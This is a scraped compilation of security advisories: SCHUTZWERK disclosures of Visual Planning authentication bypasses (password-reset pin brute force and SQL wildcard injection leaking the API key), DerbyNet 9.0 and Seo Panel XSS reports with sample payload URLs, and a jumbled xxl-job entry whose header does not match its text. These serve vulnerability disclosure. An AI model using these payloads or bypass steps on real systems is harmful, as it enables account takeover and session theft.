A vulnerability classified as problematic was found in Xuxueli xxl-job version 2.4.0. This vulnerability affects the function `deserialize` of the file `com/xxl/job/core/util/JdkSerializeTool.java` of the component `Template Handler`. The manipulation leads to injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259480.

**Xuxueli xxl-job template injection vulnerability**

Low severity GitHub Reviewed Published Apr 6, 2024 to the GitHub Advisory Database • Updated Apr 8, 2024

GHSA-2v42-xp3j-47m4: Xuxueli xxl-job template injection vulnerability

Unauthenticated attackers can exploit a weakness in the password reset functionality of the Visual Planning application in order to obtain access to arbitrary user accounts including administrators. In case administrative (in the context of Visual Planning) accounts are compromised, attackers can install malicious modules into the application to take over the application server hosting the Visual Planning application. All versions prior to Visual Planning 8 (Build 240207) are affected.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

Title  
=====

SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset   
Functionality in Visual Planning

Status  
======

PUBLISHED

Version  
=======

1.0

CVE reference  
=============

CVE-2023-49232

Link  
====

https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-004/

Text-only version:  
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-004.txt

Affected products/vendor  
========================

All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.

Summary  
=======

Unauthenticated attackers can exploit a weakness in the password reset   
functionality of the Visual Planning[0] application in order to obtain   
access to arbitrary user accounts including administrators. In case   
administrative (in the context of Visual Planning) accounts are   
compromised, attackers can install malicious modules into the   
application to take over the application server hosting the Visual   
Planning application.

Risk  
====

The application does not impose any limits on the number of guesses that   
can be made. Attackers can therefore initiate the reset for arbitrary   
users and automate the pin validation process until a valid pin is   
obtained. The vulnerability allows unauthenticated attackers to gain   
access to arbitrary user accounts including administrators.

Failed pin validation attempts are not logged by the application which   
greatly increases the difficulty of detecting ongoing attacks.

With administrative access to Admin Center, attackers can install   
malicious modules containing Java code that is executed on the   
application server, resulting in arbitrary command execution.

The entire pin space can be enumerated in approximately one to two hours.

Description  
===========

During a recent red teaming assessment, Visual Planning was identified   
as part of the customers internet-facing assets. The software is   
developed by STILOG I.S.T. and provides resource management and   
scheduling features. A security assessment conducted by SCHUTZWERK found   
an authentication bypass in Visual Planning's password reset functionality.  
The application Admin Center (vpadmin) communicates with the server   
through an XML-based protocol that utilizes proprietary compression   
methods and is transmitted via HTTP. SCHUTZWERK implemented a custom   
proxy as part of an assessment in order to intercept and manipulate the   
messages exchanged between application and server.

One of the first messages sent by the Admin Center application after   
launch is the following:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>canResetPassword</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values/>  
</com.visualplanning.query.NamedMethodParameter>

In this request, the client asks the server whether it should display   
the "Forgot your password ?" button as part of the login form. During   
the assessment, the server responded as follows:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>resetPassword</key>  
<value class="java.lang.Boolean">false</value>  
</HashtableValue>  
</resultValues>  
<status>OK</status>  
</com.visualplanning.query.QueryResult>

By altering the value to "true", the password reset functionality   
becomes accessible in the application. At this point, attackers can   
provide the target username. This causes a request similar to the   
following to be issued:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>sendResetPasswwd</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values>  
<HashtableValue>  
<key>login</key>  
<value class="String">admin</value>  
</HashtableValue>  
</values>  
</com.visualplanning.query.NamedMethodParameter>

While handling this request, the server generates a five digit numeric   
pin and tries to send it to the email address associated with the   
provided username. Regardless of whether the email could be successfully   
transmitted, the generated pin is stored in a attribute of the session   
used while performing the reset. It should be noted that the password   
reset request message can be sent directly without enabling the button   
in the GUI if the message format is already known.

To complete the reset process, the correct pin (matching the pin stored   
in the session attribute) must be specified. A message similar to the   
following is issued by the application to validiate the provided pin:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.NamedMethodParameter>  
<methodName>validateResetPasswwd</methodName>  
<rawResult>false</rawResult>  
<userSession isNull="true"/>  
<values>  
<HashtableValue>  
<key>login</key>  
<value class="String">admin</value>  
</HashtableValue>  
<HashtableValue>  
<key>userCode</key>  
<value class="String">58344</value>  
</HashtableValue>  
</values>  
</com.visualplanning.query.NamedMethodParameter>

When an invalid pin is provided, the server responds with the following   
XML document:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>ERROR</key>  
<value class="String">Invalid code.</value>  
</HashtableValue>  
</resultValues>  
<status>KO</status>  
</com.visualplanning.query.QueryResult>

In case the pin is valid, the server responds with a VPUser data   
structure similar to the following:

<?xml version="1.0" encoding="UTF-8"?>  
<com.visualplanning.query.QueryResult>  
<resultValues>  
<HashtableValue>  
<key>vpUser</key>  
<value class="com.visualplanning.data.admin.VPUser">  
<ID>1</ID>  
<UID>C442-53EB-B185-8804-F6BF-70AC-61C3-31BC</UID>  
<activated>true</activated>  
<comments>Super administrateur</comments>  
<email>yahd6Coo@schutzwerk.com</email>  
<expiredPasswd>false</expiredPasswd>  
<groups/>  
<imageProfilBase64></imageProfilBase64>  
<ldapSetting>  
<entityID>-1</entityID>  
</ldapSetting>  
<licenses/>  
<loginAttemps>0</loginAttemps>  
<mobilePhoneNumber></mobilePhoneNumber>  
<name>admin</name>  
<ownerID>0</ownerID>  
<phoneNumber></phoneNumber>  
<platform>VP</platform>  
<resetPasswd>true</resetPasswd>  
<resourceUser>false</resourceUser>  
</value>  
</HashtableValue>  
</resultValues>  
<status>OK</status>  
</com.visualplanning.query.QueryResult>

In addition, an empty password is set for the target username. Upon   
first login after reset, a new password must be set for this user.

Solution/Mitigation  
===================

The vendor suggests to update to Visual Planning 8 (Build 240207)

Disclosure timeline  
===================

2023-11-01: Vulnerability discovered  
2023-11-09: Contact vendor in order to determine security contact  
2023-11-10: Received generic sales response from vendor  
2023-11-14: Contacted CTO of vendor directly  
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor  
2023-11-24: CVE assigned by Mitre  
2023-11-24: Additional technical details provided to vendor  
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings   
is in progress  
2024-01-30: Inquired about mitigation status regarding the reported   
vulnerabilities  
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were   
already fixed  
2024-03-08: Sent advisory drafts to vendor  
2024-03-28: Received patch information and release of advisory

Contact/Credits  
===============

The vulnerability was discovered during an assessment by Lennert Preuth   
and David Brown of SCHUTZWERK GmbH.

References  
==========

[0] https://www.visual-planning.com/en/  
[1]   
https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html

Disclaimer  
==========

The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may   
be updated in order to provide as accurate information as possible. The   
most recent version of this security advisory can be found at SCHUTZWERK   
GmbH's website ( https://www.schutzwerk.com ).

Additional information  
======================

SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/

SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/  
-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp  
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj  
660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8/YXZhFNtkccsdxRll3t3UxC3IOU  
/h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo  
rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4  
PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA  
C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS/UIyaIImgS6pyBDOJUHULiMKumZYHCl  
r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w  
KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ/onU2P  
um41+KNb7h7Pf/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx  
+Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW  
gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt/  
CTQ2Nugk2kdYf5d73FSO9ds=  
=PvYR  
-----END PGP SIGNATURE-----

--   
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany  
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories@schutzwerk.com / www.schutzwerk.com

Geschäftsführer / Managing Directors:  
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm / HRB 727391  
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

Visual Planning 8 Authentication Bypass

A wildcard injection inside a prepared SQL statement was found in an undocumented Visual Planning 8 REST API route. The combination of fuzzy matching (via LIKE operator) and user-controlled input allows exfiltrating the REST API key based on distinguishable server responses. If exploited, attackers are able to gain administrative access to the REST API version 2.0.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

Title  
=====

SCHUTZWERK-SA-2023-003: Authentication Bypass in Visual Planning REST API

Status  
======

PUBLISHED

Version  
=======

1.0

CVE reference  
=============

CVE-2023-49231

Link  
====

https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-003/

Text-only version:  
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-003.txt

Affected products/vendor  
========================

All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.

Summary  
=======

A wildcard injection inside a prepared SQL statement was found in an   
undocumented Visual Planning[0] 8 REST API route. The combination of   
fuzzy matching (via LIKE operator) and user-controlled input allows   
exfiltrating the REST API key based on distinguishable server responses.   
If exploited, attackers are able to gain administrative access to the   
REST API v2.0.

Risk  
====

The vulnerability allows attackers to obtain a valid API key for the   
Visual Planning REST API v2.0. With such a key, attackers can use   
corresponding endpoints to exfiltrate company data or upload/download   
files. If no external user management (e.g. LDAP) is configured, the API   
key can also be used for user management tasks including the creation of   
administrative users. Since administrators are allowed to upload modules   
using the Visual Planning Admin Center, a compromise of the underlying   
server is likely.

Description  
===========

During a recent red teaming assessment, Visual Planning was identified   
as part of the customers internet-facing assets. The software is   
developed by STILOG I.S.T. and provides resource management and   
scheduling features. A security assessment conducted by SCHUTZWERK found   
an authentication bypass in Visual Planning's administrative REST API   
v2.0.[1]

Corresponding API routes are implemented in the PlanningWSRestV2.java   
file. A comparison between the documentation and implemented routes   
revealed an undocumented route (documentation accessed on 2024-03-05),   
which is externally reachable via a GET request to the /session endpoint.

The following code snippet shows the corresponding undocumented route,   
which takes the value of the apikey header as an argument:

vp.jar.src/com/visualplanning/webservice/PlanningWSRestV2.java  
/*      */   @GET  
/*      */   @Path("/session")  
/*      */   public Response openSession(@HeaderParam("apikey") String   
apikey, @HeaderParam("keepalive") String keepalive) {  
/*  123 */     if (apikey == null || apikey.trim().isEmpty()) {  
/*  124 */       return   
WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN,   
apikey);  
/*      */     }  
/*      */  
/*  127 */     WSSession session = WSSession.existsSession(apikey);  
/*  128 */     if (session != null) {  
/*  129 */       return   
WSResponse.instance().error((Response.StatusType)Response.Status.FORBIDDEN,   
"Already opened session for apikey : ", apikey);  
/*      */     }  
/*      */  
/*  132 */     if (WSSession.getSession(apikey, (keepalive != null &&   
Boolean.parseBoolean(keepalive) == true)) == null) {  
/*  133 */       return   
WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN,   
apikey);  
/*      */     }  
/*  135 */     return WSResponse.instance().success("WSSession created   
for apikey : " + apikey);  
/*      */   }

Line 132 shows a call to the getSession(apikey, ...) method of the   
WSSession class. Subsequently, the getSession(..) method will call the   
makeSession(apikey, ..) method of the same class.

The following code snippet shows the makeSession(..) method. Line 646   
contains the vulnerable prepared SQL statement, which is prone to   
wildcard injections[2] due to the usage of the LIKE operator in   
combination with user-controlled input:

vp.jar.src/com/visualplanning/webservice/WSSession.java  
/*      */   private static WSSession makeSession(String apiKey,   
WSSessionType type) {  
/*  634 */     WSSession wsSession = new WSSession();  
/*  635 */     WebApplicationContext applicationContext =   
WebApplicationContext.getDefaultApplication();  
/*  636 */     UserSession userSession =   
applicationContext.createUserSession();  
/*      */  
/*  638 */     DBConnection connection =   
applicationContext.createUserSession().getDBConnection();  
/*  639 */     String databaseName =   
applicationContext.getProperty("Application", "Databasename",   
"VisualPlanning7");  
/*      */  
/*  641 */     connection.setPoolMode(false);  
/*  642 */     connection.setDatabase(databaseName);  
/*      */  
/*      */     try {  
/*  645 */       if (type == WSSessionType.CLIENT) {  
/*  646 */         String planningQuery = "SELECT XMLContent FROM   
Planning WHERE XMLContent LIKE ?";  
/*  647 */         PreparedStatement stmt =   
connection.createPreparedStatement(planningQuery);  
/*  648 */         stmt.setString(1, "%<APIKey>" + apiKey + "</APIKey>%");  
/*  649 */         ResultSet rs = stmt.executeQuery();  
/*      */  
/*  651 */         if (!rs.next()) {  
/*  652 */           return null;  
/*      */         }

The following GET request demonstrates the behavior of injecting a   
percent sign as wildcard character:

GET /vplanning/api/v2/session HTTP/1.1  
Host: vp-host  
apikey: %  
[..]

The server will respond with a success message, indicating that a   
session was created for the used API key:

HTTP/1.1 200  
[..]

WSSession created for apikey : %

Further tests showed that an apikey header payload of '1%' will result   
in a similar success response, if the api key starts with the character   
'1'. A payload with a different non-matching first apikey character like   
'2%' will result in a status code 403 and the error message 'Invalid API   
key (2%)'.

The proof-of-concept script brute_vp_apikey.py[3] was developed in order   
to automate the process of exfiltrating the full apikey. The script can   
be executed as follows against a vulnerable Visual Planning instance and   
to extract the administrative api key:

$ python3 brute_vp_apikey.py --url http://127.0.0.1:8080  
Visual Planning API Key: 79d4add3-6995-8cae-976b-4aaaddd90616

Solution/Mitigation  
===================

The vendor suggests to update to Visual Planning 8 (Build 240207)

Disclosure timeline  
===================

2023-11-01: Vulnerability discovered  
2023-11-09: Contact vendor in order to determine security contact  
2023-11-10: Received generic sales response from vendor  
2023-11-14: Contacted CTO of vendor directly  
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor  
2023-11-24: CVE assigned by Mitre  
2023-11-24: Additional technical details provided to vendor  
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings   
is in progress  
2024-01-30: Inquired about mitigation status regarding the reported   
vulnerabilities  
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were   
already fixed  
2024-03-08: Sent advisory drafts to vendor  
2024-03-28: Received patch information and release of advisory

Contact/Credits  
===============

The vulnerability was discovered by Lennert Preuth of SCHUTZWERK GmbH.

References  
==========

[0] https://www.visual-planning.com/en/  
[1]   
https://app.swaggerhub.com/apis-docs/VisualPlanning/visual-planning_api_rest_v_2_0_us/2.0-oas3  
[2]   
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#sql-wildcard-injection  
[3] https://www.schutzwerk.com/en/43/assets/advisories/brute_vp_apikey.py

Disclaimer  
==========

The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may   
be updated in order to provide as accurate information as possible. The   
most recent version of this security advisory can be found at SCHUTZWERK   
GmbH's website ( https://www.schutzwerk.com ).

Additional information  
======================

SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/

SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/  
-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0QkaHGFkdmlzb3Jp  
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvAZhAArh5MI5kM1lTjcIPPMiDS  
VXJ51Z39qgcXySyrqrKslnP/2a/pfpakD8g161oOTSK/tt9Yd6L/6O5Vywe7Kx5V  
lkVw7bs9J0WCY8aYzJ9RxdALt7HexAG+USgbjFWFajdSNNJ8giBu3P3ZCE8/GbHJ  
0bKd8AN88NKL954olnI6qGbbnOr/QXWuIOWAYF9wXLgEk992hszYgt7SJIrFHuX6  
2TC4iWOv4+72HQiQ8QYXCAZZVBDr3mUPQRBSJ9AZ3x7mxtJtMg8DyW0OATNe9Qlq  
IUO7HFqrPwTQmFKf9whk8QD7/Y9dKTpAjlVzvXe49COqbjOzxmIe7muxwyVlOrqO  
J9ZqreOr/ENLUgYDBaTLSTAHdEFNeqRGPK3dG0yiRSi3dtavJwr8PN1L52qTqLzT  
C+Yrruu6Ac6pSin1Ea9WaXF+YS1ErRcbZxkRD5pS4s6V4NMkV4bDWlDtraQ0rDfL  
AA+TxtA25p34S2MV/b3qAiA66UjrXEb6IJVNx4Rx7X3+gcLgI2w7t3DQEVuPaB3k  
ltT1oV6ei7tqeQpn7usHzlfa6lq7Q3PIRpxYAo0g4kp4cVVblLRNWDpZMK+cBj1N  
MrGP2f50gbpYej/yYHsXNU2pMfbUPoSq3X8uwVCoLvaBSBWx7I3TM1hl0/3wBi/w  
phO+Bauh2QYGX2mFw/mduZM=  
=ycwQ  
-----END PGP SIGNATURE-----

--   
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany  
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories@schutzwerk.com / www.schutzwerk.com

Geschäftsführer / Managing Directors:  
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm / HRB 727391  
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

Visual Planning REST API 2.0 Authentication Bypass

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in playlist.php.

    CVE ID: CVE-2024-30929Description:A Cross-Site Scripting (XSS) vulnerability has been found in DerbyNet version 9.0, affecting the `playlist.php` component. This issue allows remote attackers to execute arbitrary code by exploiting the `back` parameter. The application does not properly sanitize the `back` parameter before it is rendered on the page, thereby allowing the injection and execution of arbitrary JavaScript code.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: playlist.phpAttack Type: RemoteImpact: Code executionAttack Vectors:The vulnerability can be exploited by crafting a URL that includes malicious JavaScript code as part of the `back` parameter. An example of such a URL is:- http://127.0.0.1:8000/playlist.php?back="><script>alert(1)</script>This example demonstrates how an attacker could inject and execute JavaScript within the context of the webpage, leading to potential security risks such as session hijacking, phishing, or unauthorized actions performed on behalf of the user.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 playlist.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in racer-results.php.

CVE ID: CVE-2024-30927

Description:  
A Cross-Site Scripting (XSS) vulnerability is present in DerbyNet version 9.0, specifically within the `racer-results.php` component. This issue allows remote attackers to execute arbitrary code through the improper handling of the `racerid` parameter. The vulnerability is notably present within the HTML `<title>` tag, where the `racerid` parameter value is dynamically inserted directly into the page content without any sanitization or encoding.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: racer-results.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited by inserting malicious JavaScript code into the `racerid` parameter of the URL. For example:  
- `http://127.0.0.1:8000/racer-results.php?racerid=</title><script>alert(1)</script>`

This method demonstrates how an attacker could manipulate the `racerid` parameter to inject and execute arbitrary JavaScript within the context of a user's session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 racer-results.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in inc/kiosks.inc.

CVE ID: CVE-2024-30926

Description:  
A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, affecting the `./inc/kiosks.inc` component. This vulnerability permits remote attackers to execute arbitrary code by exploiting the `address_for_current_kiosk()` function. The issue stems from the improper sanitization of user-supplied input via the URL parameters `id` and `address`, which are directly utilized without validation. This oversight allows the execution of malicious JavaScript code through crafted URLs.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: ./inc/kiosks.inc

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The vulnerability can be exploited by manipulating URL parameters to inject malicious scripts. Examples include:  
- `http://127.0.0.1:8000/kiosk.php?id=<script>alert(1)</script>`  
- `http://127.0.0.1:8000/kiosk.php?address=<script>alert(1)</script>`

These manipulations demonstrate how an attacker could leverage unsanitized input to execute arbitrary JavaScript in the context of a user's session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 inc/kisosks.inc Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo-thumbs.php.

CVE ID: CVE-2024-30925

Description:  
A Cross-Site Scripting (XSS) vulnerability exists in DerbyNet version 9.0, specifically within the `photo-thumbs.php` component. This issue enables a remote attacker to execute arbitrary code through the improper handling of the `racerid` and `back` parameters. The vulnerability arises because the application dynamically generates URLs for navigation without adequately sanitizing these parameters, thus allowing the injection of malicious scripts.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: photo-thumbs.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited through manipulation of the `racerid` and `back` parameters in the URL. Examples of such manipulation include:  
- http://127.0.0.1:8000/photo-thumbs.php?repo=head&racerid=</script><script>alert(1)</script>  
- http://127.0.0.1:8000/photo-thumbs.php?back="><script>alert(1)</script></div>

These URLs demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo-thumbs.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in checkin.php.

CVE ID: CVE-2024-30924

Description:  
A Cross Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically within the `checkin.php` component. This vulnerability allows remote attackers to execute arbitrary code due to improper handling of the `order` URL parameter. The flaw lies in the way the `order` parameter is embedded directly into a JavaScript variable assignment without adequate sanitization or encoding, making it possible to inject scripts.

Vulnerability Type: Cross Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: checkin.php

Attack Type: Remote

Impact: Code execution is possible as a result of this vulnerability.

Attack Vectors:  
The XSS vulnerability can be exploited by manipulating the `order` parameter in the URL. For example:  
- `http://127.0.0.1:8000/checkin.php?order=</script><script>alert(1)</script>`  
- `http://127.0.0.1:8000/checkin.php?order=';alert(1);//`

These attack vectors demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 checkin.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo.php.

    CVE ID: CVE-2024-30921Description:A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically affecting the photo.php component. This vulnerability allows remote attackers to execute arbitrary code via crafted URLs, without requiring authentication.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: photo.phpAttack Type: RemoteImpact: Code executionAttack Vectors: The vulnerability can be exploited by navigating to a specially crafted URL such as:- http://127.0.0.1:8000/photo.php/<img src=x onerror=alert(1)>This method allows the attacker to inject arbitrary JavaScript that will be executed in the context of the victim's browser.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo.php Cross Site Scripting

Seo Panel version 4.7.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Seo Panel 4.7.0 Reflected XSS# Exploit Author: Arzu DEMÝREZ# Date: 05.03-2024# Vendor Homepage: https://www.seopanel.org/# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.7.0# Version: Seo Panel 4.7.0-Description: A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript.- used:x" onmouseover=alert(document.cookie) x="Review Of Analysis:Ýn archive.ctp.php file include search_form and search_name input load on that script at line 71 as<a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>because of that an attacker if send that codex" onmouseover=alert(document.cookie) x="can exploit the victim.<form id='search_form'>    <table width="100%" class="search">        <tr>            <th><?php echo $spText['common']['Name']?>: </th>            <td>                <input type="text" name="search_name" value="<?php echo htmlentities($searchInfo['search_name'], ENT_QUOTES)?>" onblur="<?php echo $submitLink?>">            </td>            <th><?php echo $spText['common']['Period']?>:</th>            <td colspan="2">                <input type="text" value="<?php echo $fromTime?>" name="from_time" id="from_time_summary"/>                <input type="text" value="<?php echo $toTime?>" name="to_time" id="to_time_summary"/>                <script>                  $( function() {                    $( "#from_time_summary, #to_time_summary").datepicker({dateFormat: "yy-mm-dd"});                  } );                </script>            </td>        <tr>        <tr>            <th><?php echo $spText['common']['Website']?>: </th>            <td>                <select name="website_id" id="website_id"  onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 180px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($siteList as $websiteInfo){?>                        <?php if($websiteInfo['id'] == $websiteId){?>                            <option value="<?php echo $websiteInfo['id']?>" selected><?php echo $websiteInfo['name']?></option>                        <?php }else{?>                            <option value="<?php echo $websiteInfo['id']?>"><?php echo $websiteInfo['name']?></option>                        <?php }?>                    <?php }?>                </select>            </td>            <th><?php echo $spText['label']['Report Type']?>: </th>            <td>                <select name="report_type" id="report_type" onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 210px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($reportTypes as $type => $info){?>                        <?php if($type == $searchInfo['report_type']){?>                            <option value="<?php echo $type?>" selected><?php echo $info?></option>                        <?php }else{?>                            <option value="<?php echo $type?>"><?php echo $info?></option>                        <?php }?>                    <?php }?>                </select>                <a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>Saygýlarýmla / Best Regards,[cid:e33e203c-58cd-46ba-b1ea-f27e999dc68d]

Tag

#java